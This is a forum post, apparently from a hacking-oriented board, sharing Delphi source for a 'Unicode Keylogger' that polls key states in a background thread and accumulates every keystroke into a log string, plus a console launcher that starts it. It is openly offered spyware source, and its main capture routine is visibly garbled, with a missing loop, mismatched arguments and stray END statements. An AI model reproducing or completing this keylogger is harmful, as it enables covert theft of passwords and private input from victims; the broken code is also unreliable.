Jump to content
Cartman.

Unicode Keylogger Example

Recommended Posts

Posted (edited)


unit UnitKeyLogger;

interface

uses
Windows,Classes;

type
TUnicodeKeylogger = class(TThread)
private
{ Private declarations }
public
FActiveBackSpace:Boolean;
FullLogData : String;
function IsKeyPressed(KeyCode: Integer): Boolean;
procedure AddKey(StrKey: String);
protected
procedure Execute; override;
end;

implementation

procedure TUnicodeKeylogger.AddKey(StrKey: String);
begin
FullLogData := FullLogData + StrKey;
Write(StrKey);
end;

function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;
begin
result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;

procedure TUnicodeKeylogger.Execute;
var
VirtKey : UINT;
ScanCode : UINT;
UniEx : Integer;
keyboardLayout : HKL;
keyboardSpeed : Integer;
keyboardState : TKeyboardState;
strBuffer : String;
UnicodeChar : array[0..1] of WChar;
strkeyname : Array[0..32] of Char;
dwThread : DWORD;
dwProcess : DWORD;
dwHandle : HWND;
BEGIN
Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @UnicodeChar, 2, 0, keyboardLayout);
strBuffer := UnicodeChar;
SetLength(strBuffer,UniEx);
AddKey(strBuffer);
END;
Sleep(keyboardSpeed DIV 4);
END;
END;

END.


program Lib;

{$APPTYPE CONSOLE}

uses
Windows,
UnitKeyLogger in 'UnitKeyLogger.pas';

VAR
Msg : TMsg;
Keylogger:TUnicodeKeylogger ;
LangID : Cardinal;
begin
{ TODO -oUser -cConsole Main : Insert code here }
LangID:=Windows.GetUserDefaultLangID;
Windows.SetThreadLocale(LangID);
Keylogger:=TUnicodeKeylogger.Create(False);
Keylogger.Resume;

While Windows.GetMessage(Msg,0,0,0) Do
Begin
Windows.TranslateMessage(Msg);
Windows.DispatchMessageA(Msg);
End;
end.

Edited by Cartman.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...